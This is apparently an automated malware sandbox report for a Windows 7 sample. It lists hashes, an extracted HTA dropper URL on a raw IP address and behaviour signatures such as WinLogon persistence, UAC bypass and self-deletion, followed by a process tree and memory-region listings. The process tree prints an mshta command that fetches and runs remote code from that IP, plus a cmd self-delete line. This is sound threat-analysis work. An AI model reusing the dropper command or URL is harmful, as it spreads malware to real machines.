Analysis

  • max time kernel
    8s
  • max time network
    6s
  • platform
    windows7_x64
  • resource
    win7-20240220-en
  • resource tags

    arch:x64arch:x86image:win7-20240220-enlocale:en-usos:windows7-x64system
  • submitted
    02/03/2024, 16:41

Errors

Reason
Machine shutdown

General

  • Target

  • Size

    1023KB

  • MD5

    981931159e45242cc1c3dcbdb47846d7

  • SHA1

    875bd5c00a30df19216e7f08bc18d97490ed25a6

  • SHA256

    69461917822ca791194992d7b7d01e12afbf0eb86ae327b3fb86df01012e060e

  • SHA512

    ffad32e77bcd989a20e1226021280204ded3e4ba7987e02978859be966e454785a0c0e196397378ad47d57f251764aeade3836127fe94ef67800342591fc63ce

  • SSDEEP

    24576:A+nV9M1Yek6EYqNc4p9cAnlwDUctAaxu190ryaJqc5D9X32pVa:A+nsr1E66eAnEUc6CuEryaJqc5RWpVa

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://93.115.82.248/?0=1&1=1&2=9&3=i&4=7601&5=1&6=1111&7=nqrhshtdur

Signatures

  • Modifies WinLogon for persistence 2 TTPs 1 IoCs
  • UAC bypass 3 TTPs 3 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Sets file execution options in registry 2 TTPs 12 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 2 IoCs
  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs
  • System policy modification 1 TTPs 5 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\[email protected]
    "C:\Users\Admin\AppData\Local\Temp\[email protected]"
    1⤵
    • Loads dropped DLL
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1636
    • C:\Users\Admin\AppData\Roaming\guard-rmwn.exe
      C:\Users\Admin\AppData\Roaming\guard-rmwn.exe
      2⤵
      • Modifies WinLogon for persistence
      • UAC bypass
      • Sets file execution options in registry
      • Executes dropped EXE
      • Checks whether UAC is enabled
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      • System policy modification
      PID:2544
      • C:\Windows\SysWOW64\mshta.exe
        mshta.exe "http://93.115.82.248/?0=1&1=1&2=9&3=i&4=7601&5=1&6=1111&7=nqrhshtdur"
        3⤵
        • Blocklisted process makes network request
        PID:2140
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c del "C:\Users\Admin\AppData\Local\Temp\ENDERM~1.EXE" >> NUL
      2⤵
      • Deletes itself
      PID:2444

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • \Users\Admin\AppData\Roaming\guard-rmwn.exe

          Filesize

          1023KB

          MD5

          981931159e45242cc1c3dcbdb47846d7

          SHA1

          875bd5c00a30df19216e7f08bc18d97490ed25a6

          SHA256

          69461917822ca791194992d7b7d01e12afbf0eb86ae327b3fb86df01012e060e

          SHA512

          ffad32e77bcd989a20e1226021280204ded3e4ba7987e02978859be966e454785a0c0e196397378ad47d57f251764aeade3836127fe94ef67800342591fc63ce

        • memory/1636-0-0x0000000000400000-0x000000000058A000-memory.dmp

          Filesize

          1.5MB

        • memory/1636-1-0x0000000000340000-0x000000000039F000-memory.dmp

          Filesize

          380KB

        • memory/1636-23-0x0000000000720000-0x0000000000721000-memory.dmp

          Filesize

          4KB

        • memory/1636-22-0x00000000009B0000-0x00000000009B1000-memory.dmp

          Filesize

          4KB

        • memory/1636-21-0x0000000001FF0000-0x0000000001FF1000-memory.dmp

          Filesize

          4KB

        • memory/1636-20-0x00000000009C0000-0x00000000009C1000-memory.dmp

          Filesize

          4KB

        • memory/1636-19-0x00000000009A0000-0x00000000009A1000-memory.dmp

          Filesize

          4KB

        • memory/1636-18-0x0000000000770000-0x0000000000771000-memory.dmp

          Filesize

          4KB

        • memory/1636-17-0x00000000009D0000-0x00000000009D1000-memory.dmp

          Filesize

          4KB

        • memory/1636-16-0x0000000000730000-0x0000000000731000-memory.dmp

          Filesize

          4KB

        • memory/1636-15-0x00000000003C0000-0x00000000003C1000-memory.dmp

          Filesize

          4KB

        • memory/1636-14-0x00000000003E0000-0x00000000003E1000-memory.dmp

          Filesize

          4KB

        • memory/1636-13-0x00000000003A0000-0x00000000003A1000-memory.dmp

          Filesize

          4KB

        • memory/1636-12-0x0000000000740000-0x0000000000741000-memory.dmp

          Filesize

          4KB

        • memory/1636-11-0x00000000003F0000-0x00000000003F1000-memory.dmp

          Filesize

          4KB

        • memory/1636-10-0x0000000003230000-0x0000000003233000-memory.dmp

          Filesize

          12KB

        • memory/1636-9-0x00000000002A0000-0x00000000002A1000-memory.dmp

          Filesize

          4KB

        • memory/1636-8-0x0000000003240000-0x0000000003241000-memory.dmp

          Filesize

          4KB

        • memory/1636-7-0x00000000002E0000-0x00000000002E1000-memory.dmp

          Filesize

          4KB

        • memory/1636-6-0x00000000002B0000-0x00000000002B1000-memory.dmp

          Filesize

          4KB

        • memory/1636-5-0x0000000000310000-0x0000000000311000-memory.dmp

          Filesize

          4KB

        • memory/1636-4-0x0000000000290000-0x0000000000291000-memory.dmp

          Filesize

          4KB

        • memory/1636-3-0x0000000000270000-0x0000000000271000-memory.dmp

          Filesize

          4KB

        • memory/1636-2-0x0000000000300000-0x0000000000301000-memory.dmp

          Filesize

          4KB

        • memory/1636-24-0x0000000003280000-0x0000000003281000-memory.dmp

          Filesize

          4KB

        • memory/1636-25-0x0000000000320000-0x0000000000321000-memory.dmp

          Filesize

          4KB

        • memory/1636-63-0x0000000003510000-0x0000000003511000-memory.dmp

          Filesize

          4KB

        • memory/1636-62-0x00000000034E0000-0x00000000034E1000-memory.dmp

          Filesize

          4KB

        • memory/1636-61-0x00000000034F0000-0x00000000034F1000-memory.dmp

          Filesize

          4KB

        • memory/1636-60-0x0000000003440000-0x0000000003441000-memory.dmp

          Filesize

          4KB

        • memory/1636-59-0x0000000003450000-0x0000000003451000-memory.dmp

          Filesize

          4KB

        • memory/1636-58-0x0000000003410000-0x0000000003411000-memory.dmp

          Filesize

          4KB

        • memory/1636-57-0x0000000003420000-0x0000000003421000-memory.dmp

          Filesize

          4KB

        • memory/1636-56-0x00000000033F0000-0x00000000033F1000-memory.dmp

          Filesize

          4KB

        • memory/1636-55-0x0000000003400000-0x0000000003401000-memory.dmp

          Filesize

          4KB

        • memory/1636-54-0x00000000033D0000-0x00000000033D1000-memory.dmp

          Filesize

          4KB

        • memory/1636-53-0x00000000033E0000-0x00000000033E1000-memory.dmp

          Filesize

          4KB

        • memory/1636-52-0x00000000033B0000-0x00000000033B1000-memory.dmp

          Filesize

          4KB

        • memory/1636-51-0x00000000033C0000-0x00000000033C1000-memory.dmp

          Filesize

          4KB

        • memory/1636-50-0x0000000003390000-0x0000000003391000-memory.dmp

          Filesize

          4KB

        • memory/1636-49-0x00000000033A0000-0x00000000033A1000-memory.dmp

          Filesize

          4KB

        • memory/1636-48-0x0000000003370000-0x0000000003371000-memory.dmp

          Filesize

          4KB

        • memory/1636-47-0x0000000003380000-0x0000000003381000-memory.dmp

          Filesize

          4KB

        • memory/1636-46-0x0000000003350000-0x0000000003351000-memory.dmp

          Filesize

          4KB

        • memory/1636-45-0x0000000003360000-0x0000000003361000-memory.dmp

          Filesize

          4KB

        • memory/1636-44-0x0000000003330000-0x0000000003331000-memory.dmp

          Filesize

          4KB

        • memory/1636-43-0x0000000003340000-0x0000000003341000-memory.dmp

          Filesize

          4KB

        • memory/1636-42-0x0000000003310000-0x0000000003311000-memory.dmp

          Filesize

          4KB

        • memory/1636-41-0x0000000003320000-0x0000000003321000-memory.dmp

          Filesize

          4KB

        • memory/1636-40-0x00000000032F0000-0x00000000032F1000-memory.dmp

          Filesize

          4KB

        • memory/1636-39-0x0000000003300000-0x0000000003301000-memory.dmp

          Filesize

          4KB

        • memory/1636-38-0x00000000032D0000-0x00000000032D1000-memory.dmp

          Filesize

          4KB

        • memory/1636-37-0x00000000032E0000-0x00000000032E1000-memory.dmp

          Filesize

          4KB

        • memory/1636-36-0x00000000032B0000-0x00000000032B1000-memory.dmp

          Filesize

          4KB

        • memory/1636-35-0x00000000032C0000-0x00000000032C1000-memory.dmp

          Filesize

          4KB

        • memory/1636-34-0x0000000003290000-0x0000000003291000-memory.dmp

          Filesize

          4KB

        • memory/1636-33-0x00000000032A0000-0x00000000032A1000-memory.dmp

          Filesize

          4KB

        • memory/1636-32-0x00000000025B0000-0x00000000025B1000-memory.dmp

          Filesize

          4KB

        • memory/1636-31-0x0000000002140000-0x0000000002141000-memory.dmp

          Filesize

          4KB

        • memory/1636-30-0x0000000002500000-0x0000000002501000-memory.dmp

          Filesize

          4KB

        • memory/1636-29-0x0000000000760000-0x0000000000761000-memory.dmp

          Filesize

          4KB

        • memory/1636-28-0x0000000003250000-0x0000000003251000-memory.dmp

          Filesize

          4KB

        • memory/1636-27-0x0000000000260000-0x0000000000261000-memory.dmp

          Filesize

          4KB

        • memory/1636-26-0x0000000000250000-0x0000000000251000-memory.dmp

          Filesize

          4KB

        • memory/1636-80-0x0000000000400000-0x000000000058A000-memory.dmp

          Filesize

          1.5MB